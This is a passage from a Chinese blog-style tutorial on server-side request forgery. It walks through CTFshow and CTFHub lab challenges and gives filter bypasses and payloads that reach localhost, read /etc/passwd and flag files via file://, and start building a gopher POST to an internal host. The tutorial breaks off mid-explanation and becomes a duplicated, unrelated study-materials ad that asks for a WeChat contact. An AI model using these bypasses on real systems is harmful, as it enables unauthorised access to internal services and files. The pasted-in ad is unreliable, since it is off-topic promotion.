}
echo file_get_contents($_GET[‘url’]);
?>
payload
ssrf.php?url=httpsssss://…/…/…/…/…/…/etc/passwd
还有一些关于函数的绕过这位大佬写的非常详细:[CTFshow刷题日记-WEB-SSRF(web351-360)SSRF总结\_ctf ssrf题型总结-CSDN博客]( )
它在绕过中关于url的相关的写的非常的详细,可以看看
### 绕过总结
#### 利用@
如:http://example@127.0.0.1
http://www.baidu.com@10.10.10.10和http://10.10.10.10请求时相同的
#### 添加端口号
http://127.0.0.1:8080
#### 利用短地址
http://dwz.cn/11SMa
#### ip地址进制转换
以192.168.109.150为例
首先,转换16进制:c0.a8.6d.96
接着,转换为八进制:300.250.155.226
即192.168.109.150=300250155226 访问:http://00300250155226
## 题目示例
多说无益,以题见真章
### ctfshow web入门 ssrf
#### web351
打开题目看到源码
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); ?>
对url进行了一系列的curl相关的操作,但并没有过滤任何东西
直接post就行
payload
url=127.0.0.1/flag.php
#### web352
看源码
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|127.0.0/')){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>
比上一道题多了一个正则并且要求前缀是一个http或https,直接用0进行绕过,前面的绕过已经提及到了就不多说了;
payload
http://0/flag.php
#### web353
看源码
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|127\.0\.|\。/i', $url)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>
这道题又多加了一个过滤,过滤了.0,接着用.0.0.0.0进行绕过,上面的绕过已经写过了,在这里就不多说了;
payload
?url=http://0.0.0.0/flag.php
#### web354
源代码
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|1|0|。/i', $url)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?> hacker
这道题又多学了一种姿势,用sudo.cc指向127.0.0.1
payload
url=http://sudo.cc/flag.php
#### web355
源码
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ $host=$x['host']; if((strlen($host)<=5)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>
限制了长度,绕过payload
http://0/flag.php
#### web356
源码
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ $host=$x['host']; if((strlen($host)<=3)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?>
还是限制了长度上一道题的payload仍然可以用;
#### web357
这道题留在后面,统一知识点进行解释
#### web358
源码
<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){ echo file_get_contents($url); } ``` 这道题要求以http开头以show结尾 payload ``` url=http://ctf.@127.0.0.1/flag.php?show ``` 在这里介绍下parse\_url()函数的利用 它是对于url的一个分解 举例代码 ``` <?php $url = 'http://ctf.@127.0.0.1/flag.php?show'; $x = parse_url($url); var_dump($x); ?>
//运行结果:
array(5) {
[“scheme”]=>
string(4) “http”
[“host”]=>
string(9) “127.0.0.1”
[“user”]=>
string(4) “ctf.”
[“path”]=>
string(9) “/flag.php”
[“query”]=>
string(4) “show”
}
后面两道题也是统一进行解释说明
### 靶场ctfhub
在ctfhub中对于ssrf的知识点有以下几种,
#### 内网访问
给的提示:尝试访问位于127.0.0.1的flag.php吧
打开后直接去访问就可以得到flag了
payload
?url=127.0.0.1/flag.php
#### 伪协议读取文件
直接用伪协议读取flag文件
?url=file://var/www/html/flag.php
记得访问之后要查看源码才能得到flag
#### 端口扫描
给了提示:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,
直接抓包,在端口处添加变量在8000到9000之间进行爆破,找到和其它字段数长度不一样的就可以得到flag了
用bp爆破
#### POST请求
这道题给的提示:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
打开之后什么都没有,去访问源码
?url=file:///var/www/html/index.php
?url=file:///var/www/html/flag.php
查看后得到两段源码
index.php的源码
<?php error_reporting(0); if (!isset($_REQUEST['url'])){ header("Location: /?url=_"); exit; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_exec($ch); curl_close($ch); ``` flag.php源码 ``` <?php error_reporting(0); if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { echo "Just View From 127.0.0.1"; return; } $flag=getenv("CTFHUB"); $key = md5($flag); if (isset($_POST["key"]) && $_POST["key"] == $key) { echo $flag; exit; } ?>
这里需要利用gopher://协议,先介绍一下gopher://协议的一些基本情况
Gopher协议没有默认端口,需要制定POST方法,回车换行使用%0d%0a,参数之间的分隔符也用URL编码,其他与HTTP协议类似。
在访问?url=127.0.0.1/flag.php时,它告诉我们需要从127.0.0.1中来访问,那就是从内网进行访问,内网进行访问需要gopher://协议,进行POST请求;
构造gopher://协议,进行请求;
需要构造以下payload
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=7a63523334ee824db18990ffc181d204
开始构造,有两种方法进行构造,第一种方法就是自己进行url编码,将上面这些内容进行两次url编码;在进行编码时需要注意以下方面
**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**
**深知大多数Linux运维工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则几千的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**
**因此收集整理了一份《2024年Linux运维全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。**
![img](https://img-blog.csdnimg.cn/img_convert/d4ee733f39b2bd78061966d0778a773a.png)
![img](https://img-blog.csdnimg.cn/img_convert/19f17f575d007eca27dbcc3aea2ac5c0.png)
![img](https://img-blog.csdnimg.cn/img_convert/7046276109de6ac39d5ac949c1833207.png)
![img](https://img-blog.csdnimg.cn/img_convert/31e1d11304abdde196776c3179532ec3.png)
![img](https://img-blog.csdnimg.cn/img_convert/6af288c8aef65d55c6807cf5585eadee.png)
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上Linux运维知识点,真正体系化!**
**由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新**
**如果你觉得这些内容对你有帮助,可以添加VX:vip1024b (备注Linux运维获取)**
![img](https://img-blog.csdnimg.cn/img_convert/8e0d108978ea5444eef18205bf54f56d.jpeg)
### 最后的话
最近很多小伙伴找我要Linux学习资料,于是我翻箱倒柜,整理了一些优质资源,涵盖视频、电子书、PPT等共享给大家!
### 资料预览
给大家整理的视频资料:
![](https://img-blog.csdnimg.cn/img_convert/181b515b779ef53521fccaba14ef8e73.png)
给大家整理的电子书资料:
![](https://img-blog.csdnimg.cn/img_convert/6fa43e297edbffbc8453022c4c4e8c15.png)
**如果本文对你有帮助,欢迎点赞、收藏、转发给朋友,让我有持续创作的动力!**
**一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
![img](https://img-blog.csdnimg.cn/img_convert/b69d8452daf54073b82a69e3b0e0b700.jpeg)
于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新**
**如果你觉得这些内容对你有帮助,可以添加VX:vip1024b (备注Linux运维获取)**
[外链图片转存中...(img-t0qMZ6GG-1712606385720)]
### 最后的话
最近很多小伙伴找我要Linux学习资料,于是我翻箱倒柜,整理了一些优质资源,涵盖视频、电子书、PPT等共享给大家!
### 资料预览
给大家整理的视频资料:
[外链图片转存中...(img-oAowPcJ9-1712606385720)]
给大家整理的电子书资料:
[外链图片转存中...(img-cEe0zFnP-1712606385720)]
**如果本文对你有帮助,欢迎点赞、收藏、转发给朋友,让我有持续创作的动力!**
**一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
[外链图片转存中...(img-T3bzKPOC-1712606385721)]